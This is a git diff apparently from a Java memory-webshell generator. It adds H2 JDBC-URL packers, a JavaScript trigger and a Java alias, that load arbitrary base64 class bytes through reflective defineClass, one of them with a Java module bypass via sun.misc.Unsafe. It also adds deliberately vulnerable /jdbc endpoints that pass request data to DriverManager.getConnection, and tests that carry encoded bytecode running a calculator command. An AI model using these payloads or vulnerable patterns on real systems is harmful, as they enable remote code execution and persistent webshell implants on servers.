diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java index c1ff5813..fad09b80 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java @@ -17,8 +17,7 @@ class ScriptEnginePackerTest { GenerateResult generateResult = GenerateResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); - String jsContent = new String(new ScriptEnginePacker().pack(generateResult.toClassPackerConfig())); - System.out.println(jsContent); + String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig()); assertTrue(jsContent.contains("var base64Str = \"hehe\";")); } } \ No newline at end of file diff --git a/integration-test/script/springboot_pid.sh b/integration-test/script/springboot_pid.sh index 87b182d2..172514da 100755 --- a/integration-test/script/springboot_pid.sh +++ b/integration-test/script/springboot_pid.sh @@ -1,2 +1,2 @@ #!/bin/bash -jps | grep -E "jar" | awk '{print $1}' | tr -d '\n' \ No newline at end of file +pgrep -a java | awk '{print $1}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 353b379c..95c4b6eb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -348,6 +348,7 @@ public class ShellAssertionTool { case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); + case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content); default -> throw new IllegalStateException("Unexpected value: " + packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java index 2009f9f7..6dc03593 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java @@ -58,13 +58,14 @@ public class SpringBoot2ContainerTest { ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @@ -92,7 +93,7 @@ public class SpringBoot2ContainerTest { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java index 5de302a4..05ebb717 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java @@ -56,7 +56,7 @@ public class SpringBoot3ContainerTest { ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); - List testPackers = List.of(Packers.Base64); + List testPackers = List.of(Packers.Base64, Packers.H2); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } @@ -91,7 +91,7 @@ public class SpringBoot3ContainerTest { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.Base64); + List testPackers = List.of(Packers.Base64, Packers.H2); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java index 997ad1e8..5745e691 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java @@ -50,6 +50,7 @@ public class Tomcat8ExpressionContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index cbfdba2b..dbf1146c 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -15,6 +15,9 @@ import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; +import com.reajason.javaweb.packer.h2.H2JSPacker; +import com.reajason.javaweb.packer.h2.H2JavacPacker; +import com.reajason.javaweb.packer.h2.H2Packer; import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; @@ -125,6 +128,10 @@ public enum Packers { AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()), AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()), + H2(new H2Packer()), + H2Javac(new H2JavacPacker(), H2Packer.class), + H2JS(new H2JSPacker(), H2Packer.class), + XxlJob(new XxlJobPacker()), ; private final Packer instance; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSPacker.java new file mode 100644 index 00000000..6ff93b08 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSPacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.h2; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +public class H2JSPacker implements Packer { + String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{{script}}$$"; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script.replaceAll(";", "\\\\;")); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java new file mode 100644 index 00000000..9c235c21 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java @@ -0,0 +1,61 @@ +package com.reajason.javaweb.packer.h2; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +public class H2JavacPacker implements Packer { + String template = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "byte[] bytes=null\\;" + + "String base64Str=\"{{base64Str}}\"\\;" + + "try {\n" + + " bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "} catch (java.lang.Throwable var6) {\n" + + " bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" + + "}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + String bypassTemplate = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"{{base64Str}}\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + if (config.isByPassJavaModule()) { + return bypassTemplate.replace("{{base64Str}}", config.getClassBytesBase64Str()); + } + return template.replace("{{base64Str}}", config.getClassBytesBase64Str()); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java new file mode 100644 index 00000000..be0da17d --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.packer.h2; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +public class H2Packer implements AggregatePacker { + +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java index de37d4ba..10af2b6e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java @@ -27,7 +27,7 @@ public class ScriptEnginePacker implements Packer { @Override @SneakyThrows public String pack(ClassPackerConfig config) { - return jsTemplate.replace("{{className}}", config.getClassName()) + return jsTemplate .replace("{{base64Str}}", config.getClassBytesBase64Str()) .replace("\n", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "") diff --git a/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java new file mode 100644 index 00000000..11b0a759 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.packer.h2; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +class H2JSPackerTest { + + @Test + void test() { + H2JSPacker h2JSPacker = new H2JSPacker(); + ClassPackerConfig classPackerConfig = new ClassPackerConfig(); + classPackerConfig.setClassBytesBase64Str("bebe"); + System.out.println(h2JSPacker.pack(classPackerConfig)); + } +} \ No newline at end of file diff --git a/vul/vul-springboot2/Dockerfile b/vul/vul-springboot2/Dockerfile index b4b2fd18..6e15bee8 100644 --- a/vul/vul-springboot2/Dockerfile +++ b/vul/vul-springboot2/Dockerfile @@ -1,6 +1,8 @@ -FROM openjdk:8 +FROM openjdk:8-jre WORKDIR /app +RUN apt-get update && apt-get install -y procps && rm -rf /var/lib/apt/lists/* + COPY build/libs/vul-springboot2.jar /app/app.jar EXPOSE 8080 diff --git a/vul/vul-springboot2/build.gradle.kts b/vul/vul-springboot2/build.gradle.kts index 4dabebaa..bdbab05d 100644 --- a/vul/vul-springboot2/build.gradle.kts +++ b/vul/vul-springboot2/build.gradle.kts @@ -6,6 +6,10 @@ plugins { } java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + targetCompatibility = JavaVersion.VERSION_1_8 sourceCompatibility = JavaVersion.VERSION_1_8 } @@ -15,6 +19,10 @@ dependencies { implementation("net.bytebuddy:byte-buddy:1.10.10") providedRuntime("org.springframework.boot:spring-boot-starter-tomcat") testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") } tasks.test { diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/JDBCController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/JDBCController.java new file mode 100644 index 00000000..fdfdfbbd --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/controller/CommandExec.java b/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/controller/CommandExec.java new file mode 100644 index 00000000..242f1eff --- /dev/null +++ b/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/controller/CommandExec.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/controller/JDBCControllerTest.java b/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/controller/JDBCControllerTest.java new file mode 100644 index 00000000..8b538f41 --- /dev/null +++ b/vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/controller/JDBCControllerTest.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +class JDBCControllerTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw=="; + String ss = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Exception{" + + "byte[] bytes=null\\;" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + " try {\n" + + " bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + " } catch (java.lang.Exception var6) {\n" + + " bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" + + " }" + + "java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defineClassMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + jdbcController.JDBC(ss); + } + + @Test + void testScriptJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw=="; + String ss = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + "var base64Str = \"" + b64Bytecode + "\"\\;var bytecode\\;try { bytecode = java.util.Base64.getDecoder().decode(base64Str)\\;} catch (ee) { bytecode = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;}var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass())\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt])\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length))\\;clazz.newInstance()\\;$$"; + jdbcController.JDBC(ss); + } +} \ No newline at end of file diff --git a/vul/vul-springboot3/build.gradle.kts b/vul/vul-springboot3/build.gradle.kts index 73f020b9..28cbd50e 100644 --- a/vul/vul-springboot3/build.gradle.kts +++ b/vul/vul-springboot3/build.gradle.kts @@ -14,4 +14,13 @@ java { dependencies { implementation("org.springframework.boot:spring-boot-starter-web") providedRuntime("org.springframework.boot:spring-boot-starter-tomcat") + testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") } + +tasks.test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java new file mode 100644 index 00000000..89e172b3 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot3/src/test/java/CommandExec.java b/vul/vul-springboot3/src/test/java/CommandExec.java new file mode 100644 index 00000000..c708f1b2 --- /dev/null +++ b/vul/vul-springboot3/src/test/java/CommandExec.java @@ -0,0 +1,15 @@ +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + java.lang.Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot3/src/test/java/JDBCTest.java b/vul/vul-springboot3/src/test/java/JDBCTest.java new file mode 100644 index 00000000..02eb7ae2 --- /dev/null +++ b/vul/vul-springboot3/src/test/java/JDBCTest.java @@ -0,0 +1,54 @@ +import com.reajason.javaweb.vul.springboot3.controller.JDBCController; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class JDBCTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String funcionName = "testJDBC"; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" + + "String shellexec(String abc) throws java.lang.Exception{" + + "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" + + "return \"test\"\\;" + + "}'\\;" + + "CALL " + funcionName + "('123')"; + jdbcController.JDBC(str); + } + + @Test + void testJDBC2() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw=="; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + System.out.println(str); + jdbcController.JDBC(str); + } +} diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 790aa8a0..e8a7761d 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -67,7 +67,8 @@ "Velocity": "Velocity", "XxlJob": "XXL-JOB Executor", "AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher", - "AgentJarWithJREAttacher": "AgentJarWithJREAttacher" + "AgentJarWithJREAttacher": "AgentJarWithJREAttacher", + "H2": "H2 JDBC" }, "title": "Package Method" },